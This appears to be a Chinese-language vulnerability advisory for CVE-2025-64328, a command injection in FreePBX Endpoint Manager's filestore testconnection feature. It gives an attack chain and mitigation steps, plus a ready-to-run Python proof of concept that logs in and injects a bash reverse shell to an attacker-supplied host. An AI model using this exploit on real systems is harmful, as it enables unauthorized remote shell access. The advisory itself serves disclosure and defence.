IPBUF安全漏洞报告
English
CVE-2025-64328 CVSS 7.2 高危

FreePBX Endpoint Manager filestore模块命令注入漏洞(CVE-2025-64328)

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64328
漏洞类型
命令注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
FreePBX Endpoint Manager

相关标签

命令注入FreePBXCVE-2025-64328Post-AuthWeb应用漏洞LinuxAsteriskVoIP远程代码执行

漏洞概述

CVE-2025-64328是FreePBX Endpoint Manager中的一个高危命令注入漏洞。该漏洞存在于filestore模块的Administrative管理界面中,通过testconnection功能的check_ssh_connect()函数实现。攻击者需要拥有高权限认证用户账户,即可利用此漏洞注入恶意命令,成功利用后可获得系统的远程访问权限,并以asterisk用户身份执行任意系统命令。该漏洞影响FreePBX 17.0.2.36至17.0.2.x版本,官方已在17.0.3版本中完成修复。由于CVSS评分达到7.2且被标记为已知利用漏洞,建议受影响用户立即升级到修复版本或采取临时缓解措施。

技术细节

该漏洞属于典型的Post-Authentication命令注入漏洞。攻击者首先需要获取FreePBX系统的高权限认证账户(如admin权限),然后通过管理界面的filestore模块访问testconnection功能。该功能调用check_ssh_connect()函数时,未对用户输入的SSH连接参数进行充分的输入验证和命令执行安全隔离。攻击者可在SSH主机名、用户名等参数中注入分号(;)、管道符(|)或反引号(`)等命令分隔符和命令替换符号,使应用程序在执行SSH连接测试时执行额外的系统命令。由于漏洞存在于管理后台,攻击者可在无需用户交互的情况下远程利用此漏洞,成功利用后可获得asterisk用户的shell访问权限,进而可能提升至root权限或横向移动到其他系统组件。

攻击链分析

STEP 1
步骤1: 信息收集
识别目标FreePBX版本,确认版本在17.0.2.36至17.0.2.x范围内,检查filestore模块是否启用
STEP 2
步骤2: 获取认证凭据
通过社会工程、密码喷洒或利用其他漏洞获取FreePBX管理账户的高权限凭据
STEP 3
步骤3: 访问filestore管理模块
使用有效凭据登录管理后台,导航至Endpoint Manager的filestore配置页面
STEP 4
步骤4: 构造恶意请求
在testconnection功能的SSH连接参数中注入命令 payload,使用分号、管道符或反引号等特殊字符构造命令注入
STEP 5
步骤5: 触发check_ssh_connect()函数
提交恶意构造的参数,触发check_ssh_connect()函数执行,此时注入的命令将在asterisk用户权限下执行
STEP 6
步骤6: 建立持久化访问
成功注入后,攻击者可获得asterisk用户shell权限,可进一步部署后门、横向移动或尝试权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64328 PoC - FreePBX Endpoint Manager Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_freepbx(target_url, username, password, attacker_ip, attacker_port): """ Exploit FreePBX filestore module command injection via check_ssh_connect() """ # Login to FreePBX admin interface login_url = f"{target_url}/admin/config.php" session = requests.Session() # Step 1: Authentication login_data = { 'username': username, 'password': password, 'submit': 'Login' } response = session.post(login_url, data=login_data, verify=False) if 'logout' not in response.text.lower(): print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Inject command via filestore testconnection # Target endpoint: /admin/config.php?type=setup&display=filestore exploit_url = f"{target_url}/admin/ajax.php?module=filestore&command=testconnection" # Payload: Reverse shell connection payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" exploit_data = { 'driver': 'SSH', 'host': payload, 'username': 'asterisk', 'auth_method': 'password' } print(f"[*] Sending exploit payload: {payload}") response = session.post(exploit_url, json=exploit_data, verify=False) if response.status_code == 200: print("[+] Exploit sent - Check your listener") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] exploit_freepbx(target, user, pwd, lhost, lport)

影响范围

FreePBX Endpoint Manager 17.0.2.36 - 17.0.2.x (受影响)
FreePBX Endpoint Manager 17.0.3 (已修复)

防御指南

临时缓解措施
对于无法立即升级的场景,可采取以下临时缓解措施:1) 通过防火墙或ACL限制对FreePBX管理界面的访问,仅允许内网或特定IP段访问;2) 禁用不必要的filestore驱动和SSH连接功能;3) 增强密码策略,定期更换管理账户密码;4) 启用详细的审计日志并配置异常告警;5) 考虑部署Web应用防火墙规则拦截包含特殊字符的请求参数;6) 监控CISA已知利用漏洞目录中的相关威胁情报。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表